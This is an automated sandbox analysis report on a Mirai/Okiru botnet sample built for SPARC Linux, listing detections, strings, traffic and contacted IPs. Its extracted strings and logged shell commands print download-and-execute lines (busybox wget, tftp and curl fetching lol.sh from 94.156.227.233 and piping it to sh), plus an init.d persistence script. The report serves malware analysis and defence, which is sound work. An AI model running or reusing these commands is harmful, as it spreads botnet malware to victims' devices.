Linux Analysis Report
sparc.nn.elf

Overview

General Information

Sample name: sparc.nn.elf
Analysis ID: 1579435
MD5: 915d574efeb61ce913e0f4cd3604e19a
SHA1: b480050861eb81e6e1238368ca39bbd89d78cd93
SHA256: 4e862db0b11bb3597e7b2dc1eab72c14d9b7c1fb133b2dbf5090ed02b09db4a6
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Connects to many ports of the same IP (likely port scanning)
Drops files in suspicious directories
Sample tries to persist itself using /etc/profile
Sample tries to persist itself using System V runlevels
Sample tries to set files in /etc globally writable
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "mkdir" command used to create folders
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Sample tries to set the executable flag
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)
Writes shell script file to disk with an unusual file extension

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: sparc.nn.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: sparc.nn.elf ReversingLabs: Detection: 42%
Source: sparc.nn.elf Virustotal: Detection: 40% Perma Link
Found strings indicative of a multi-platform dropper
Source: sparc.nn.elf String: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/loginmalloc[start_pid_hopping] Failed to clone: %s
Source: sparc.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 94.156.227.234 ports 38242,199,2,3,4,8
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:60008 -> 94.156.227.234:38242
Sample listens on a socket
Source: /tmp/sparc.nn.elf (PID: 6243) Socket: 0.0.0.0:38242 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 178.74.177.249
Source: unknown TCP traffic detected without corresponding DNS query: 113.9.6.158
Source: unknown TCP traffic detected without corresponding DNS query: 27.43.204.166
Source: unknown TCP traffic detected without corresponding DNS query: 84.13.20.49
Source: unknown TCP traffic detected without corresponding DNS query: 139.140.24.164
Source: unknown TCP traffic detected without corresponding DNS query: 122.81.54.105
Source: unknown TCP traffic detected without corresponding DNS query: 182.7.247.255
Source: unknown TCP traffic detected without corresponding DNS query: 98.81.238.182
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 56.161.182.187
Source: unknown TCP traffic detected without corresponding DNS query: 84.214.248.210
Source: unknown TCP traffic detected without corresponding DNS query: 93.196.157.216
Source: unknown TCP traffic detected without corresponding DNS query: 166.247.207.5
Source: unknown TCP traffic detected without corresponding DNS query: 2.48.31.103
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 25.155.96.67
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 204.204.26.247
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 33.123.12.39
Source: unknown TCP traffic detected without corresponding DNS query: 14.221.107.59
Source: unknown TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown TCP traffic detected without corresponding DNS query: 178.74.177.249
Source: unknown TCP traffic detected without corresponding DNS query: 165.27.3.2
Source: unknown TCP traffic detected without corresponding DNS query: 167.184.200.143
Source: unknown TCP traffic detected without corresponding DNS query: 113.9.6.158
Source: unknown TCP traffic detected without corresponding DNS query: 188.14.141.137
Source: unknown TCP traffic detected without corresponding DNS query: 160.138.172.179
Source: unknown TCP traffic detected without corresponding DNS query: 199.163.108.174
Source: unknown TCP traffic detected without corresponding DNS query: 130.89.149.169
Source: unknown TCP traffic detected without corresponding DNS query: 146.250.254.169
Source: unknown TCP traffic detected without corresponding DNS query: 27.43.204.166
Source: unknown TCP traffic detected without corresponding DNS query: 22.224.73.114
Source: unknown TCP traffic detected without corresponding DNS query: 222.64.203.109
Source: unknown TCP traffic detected without corresponding DNS query: 181.72.13.167
Source: unknown TCP traffic detected without corresponding DNS query: 60.196.206.88
Source: unknown TCP traffic detected without corresponding DNS query: 216.34.78.215
Source: unknown TCP traffic detected without corresponding DNS query: 86.248.127.81
Source: unknown TCP traffic detected without corresponding DNS query: 194.106.215.216
Source: unknown TCP traffic detected without corresponding DNS query: 84.13.20.49
Source: unknown TCP traffic detected without corresponding DNS query: 17.190.169.170
Source: unknown TCP traffic detected without corresponding DNS query: 139.140.24.164
Source: unknown TCP traffic detected without corresponding DNS query: 80.81.215.142
Source: unknown TCP traffic detected without corresponding DNS query: 122.81.54.105
Source: unknown TCP traffic detected without corresponding DNS query: 170.250.203.134
Source: unknown TCP traffic detected without corresponding DNS query: 182.7.247.255
Source: sparc.nn.elf, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, sparc.nn.elf.32.dr, custom.service.12.dr String found in binary or memory: http://94.156.227.233/
Source: sparc.nn.elf String found in binary or memory: http://94.156.227.233/curl.sh
Source: sparc.nn.elf String found in binary or memory: http://94.156.227.233/lol.sh
Source: sparc.nn.elf String found in binary or memory: http://94.156.227.233/oro1vk/sbin/reboot/usr/sbin/reboot/bin/reboot/usr/bin/reboot/sbin/shutdown/usr
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: }@tmpfs/tmp/ttsize=10M/tmp/tt/system/proc/%d/proc/proc/%u/statusrPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.234Found And Killed Process: PID=%d, Realpath=%s, Bot-ID:%s2surf2/proc/%d/exe/ /proc-altered/tmp/.socket/proc/%d/mountinfo/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/run/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencoder/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://94.156.227.233/lol.sh -O- | sh;/bin/busybox tftp -g http://94.156.227.233/ -r lol.sh -l- | sh;/bin/busybox ftpget http://94.156.227.233/ lol.sh lol.sh && sh lol.sh;curl http://94.156.227.233/curl.sh -o- | sh94.156.227.233GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/tmp//var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 788, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 884, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 1664, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 2096, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 2102, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 6283, result: successful Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6325) SIGKILL sent: pid: 6397, result: successful Jump to behavior
Source: classification engine Classification label: mal92.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior
barindex
Sample tries to persist itself using /etc/profile
Source: /tmp/sparc.nn.elf (PID: 6243) File: /etc/profile Jump to behavior
Sample tries to persist itself using System V runlevels
Source: /tmp/sparc.nn.elf (PID: 6243) File: /etc/rc.local Jump to behavior
Source: /usr/bin/ln (PID: 6299) File: /etc/rcS.d/S99system -> /etc/init.d/system Jump to behavior
Source: /usr/bin/ln (PID: 6319) File: /etc/rc.d/S99sparc.nn.elf -> /etc/init.d/sparc.nn.elf Jump to behavior
Sample tries to set files in /etc globally writable
Source: /tmp/sparc.nn.elf (PID: 6243) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6292) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6450/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6397/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6452/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6077/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6396/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6451/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6434/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6433/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/1477/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/799/cmdline Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6403/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6447/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6402/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6446/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6405/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6449/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6404/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6448/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6406/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6408/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6441/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6440/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6443/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6442/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6401/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6445/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6400/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6444/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6436/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6435/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6438/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6437/status Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6323) File opened: /proc/6439/status Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/sparc.nn.elf (PID: 6266) Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6290) Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6293) Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6300) Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sparc.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sparc.nn.elf'\n /tmp/sparc.nn.elf &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sparc.nn.elf'\n killall sparc.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sparc.nn.elf" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6305) Shell command executed: sh -c "chmod +x /etc/init.d/sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6311) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/sparc.nn.elf (PID: 6317) Shell command executed: sh -c "ln -s /etc/init.d/sparc.nn.elf /etc/rc.d/S99sparc.nn.elf >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6292) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6310) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sparc.nn.elf Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6316) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6268) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/sparc.nn.elf (PID: 6243) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6292) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6310) File: /etc/init.d/sparc.nn.elf (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/sparc.nn.elf (PID: 6243) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/sparc.nn.elf (PID: 6243) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6300) Writes shell script file to disk with an unusual file extension: /etc/init.d/sparc.nn.elf Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/sparc.nn.elf (PID: 6243) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6300) File: /etc/init.d/sparc.nn.elf Jump to dropped file
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/sparc.nn.elf (PID: 6243) Queries kernel information via 'uname': Jump to behavior
Source: sparc.nn.elf, 6243.1.00007ffce5347000.00007ffce5368000.rw-.sdmp Binary or memory string: U/tmp/qemu-open.LWv5ue\
Source: sparc.nn.elf, 6243.1.000055d280745000.000055d2807cb000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6243.1.000055d280745000.000055d2807cb000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/sparc
Source: sparc.nn.elf, 6243.1.00007ffce5347000.00007ffce5368000.rw-.sdmp Binary or memory string: /tmp/qemu-open.LWv5ue
Source: sparc.nn.elf, 6243.1.00007ffce5347000.00007ffce5368000.rw-.sdmp Binary or memory string: /qemu-open.XXXXX
Source: sparc.nn.elf, 6243.1.000055d280745000.000055d2807cb000.rw-.sdmp Binary or memory string: /usr/bin/vmtoolsd
Source: sparc.nn.elf, 6243.1.00007ffce5347000.00007ffce5368000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/sparc.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sparc.nn.elf
Source: sparc.nn.elf, 6243.1.00007ffce5347000.00007ffce5368000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: sparc.nn.elf, 6243.1.000055d280745000.000055d2807cb000.rw-.sdmp Binary or memory string: U5!/usr/bin/vmtoolsd

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6243.1.00007fe690011000.00007fe69002c000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6243.1.00007fe690011000.00007fe69002c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 6243, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6243.1.00007fe690011000.00007fe69002c000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: sparc.nn.elf, type: SAMPLE
Source: Yara match File source: 6243.1.00007fe690011000.00007fe69002c000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: sparc.nn.elf PID: 6243, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
56.53.247.180
 unknown United States
2686 ATGS-MMD-ASUS false
172.8.105.176
 unknown United States
7018 ATT-INTERNET4US false
51.50.155.219
 unknown United States
2686 ATGS-MMD-ASUS false
42.1.7.110
 unknown China
4249 LILLY-ASUS false
120.201.155.40
 unknown China
56044 CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC false
9.40.103.1
 unknown United States
3356 LEVEL3US false
143.187.155.44
 unknown United States
7905 SOONER-ASUS false
58.199.26.133
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
161.235.68.37
 unknown United States
13695 AEPUS false
156.135.155.180
 unknown Switzerland
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
51.134.201.183
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
89.192.80.161
 unknown United Kingdom
12479 UNI2-ASES false
69.212.49.54
 unknown United States
7018 ATT-INTERNET4US false
213.83.3.36
 unknown Germany
12306 PLUSLINEDE false
100.154.165.96
 unknown United States
21928 T-MOBILE-AS21928US false
180.248.36.150
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
43.110.162.32
 unknown Japan 4249 LILLY-ASUS false
163.126.207.154
 unknown United States
1761 TDIR-CAPNETUS false
118.183.79.243
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
211.206.37.159
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
84.59.209.165
 unknown Germany
3209 VODANETInternationalIP-BackboneofVodafoneDE false
24.201.188.225
 unknown Canada
5769 VIDEOTRONCA false
211.194.178.187
 unknown Korea Republic of
10056 HDMF-ASHyundaiMarinFireInsuranceKR false
103.7.73.55
 unknown Australia
55707 SIMTRONIC-AS-APSimtronicAU false
41.133.75.24
 unknown South Africa
10474 OPTINETZA false
222.177.85.244
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
112.96.62.136
 unknown China
17622 CNCGROUP-GZChinaUnicomGuangzhounetworkCN false
33.37.254.14
 unknown United States
2686 ATGS-MMD-ASUS false
124.169.207.207
 unknown Australia
18371 NCABLE-APNeighbourhoodCableAU false
155.161.118.83
 unknown United States
4637 ASN-TELSTRA-GLOBALTelstraGlobalHK false
152.143.138.167
 unknown Germany
50629 LWLCOMDE false
17.178.181.159
 unknown United States
714 APPLE-ENGINEERINGUS false
95.160.0.144
 unknown Poland
29314 VECTRANET-ASAlZwyciestwa25381-525GdyniaPolandPL false
182.235.250.22
 unknown Taiwan; Republic of China (ROC)
9416 MULTIMEDIA-AS-APHoshinMultimediaCenterIncTW false
17.43.33.248
 unknown United States
714 APPLE-ENGINEERINGUS false
100.128.95.199
 unknown United States
21928 T-MOBILE-AS21928US false
216.7.188.129
 unknown United States
29863 LATISYS-DENVERUS false
55.43.201.235
 unknown United States
340 DNIC-ASBLK-00306-00371US false
216.163.56.43
 unknown United States
14103 ACDNET-ASN1US false
142.63.192.109
 unknown Canada
54605 EIPS-14CA false
145.226.137.228
 unknown France
8255 EURO-INFORMATIONFR false
179.172.37.130
 unknown Brazil
26599 TELEFONICABRASILSABR false
116.130.189.43
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
205.201.246.53
 unknown United States
22925 ALLIED-TELECOMUS false
192.197.3.165
 unknown Canada
16598 BCAA-ASCA false
202.116.206.33
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
119.159.59.41
 unknown Pakistan
45595 PKTELECOM-AS-PKPakistanTelecomCompanyLimitedPK false
155.70.244.68
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
36.22.130.209
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
88.133.166.225
 unknown Germany
29413 KOMRO-ASKomroTelekommunikationsGmbHDE false
55.61.39.42
 unknown United States
306 DNIC-ASBLK-00306-00371US false
216.208.90.10
 unknown Canada
15321 GROUPE-MASKATEL-LPCA false
53.47.80.47
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
108.154.170.136
 unknown United States
16509 AMAZON-02US false
219.35.189.253
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
7.168.61.245
 unknown United States
3356 LEVEL3US false
57.111.236.159
 unknown Belgium
51964 ORANGE-BUSINESS-SERVICES-IPSN-ASNFR false
83.114.55.96
 unknown France
3215 FranceTelecom-OrangeFR false
19.112.14.160
 unknown United States
3 MIT-GATEWAYSUS false
193.92.15.21
 unknown Greece
29286 SKYLOGIC-ASIT false
212.203.143.217
 unknown Poland
5588 GTSCEGTSCentralEuropeAntelGermanyCZ false
153.144.36.181
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
114.102.117.216
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
147.71.39.134
 unknown United States
1489 DNIC-ASBLK-01488-01489US false
123.93.33.144
 unknown China
45069 CNNIC-CTTSDNET-APchinatietongShandongnetCN false
170.134.138.234
 unknown United States
23148 TERRENAPUS false
153.67.143.32
 unknown United States
14962 NCR-252US false
199.133.175.66
 unknown United States
4152 USDA-1US false
131.62.198.222
 unknown United States
385 AFCONC-BLOCK1-ASUS false
180.110.255.12
 unknown China
134756 CHINANET-NANJING-IDCCHINANETNanjingIDCnetworkCN false
119.10.220.184
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
114.157.20.37
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
164.207.129.10
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
19.48.207.31
 unknown United States
3 MIT-GATEWAYSUS false
219.18.171.142
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
213.77.22.46
 unknown Poland
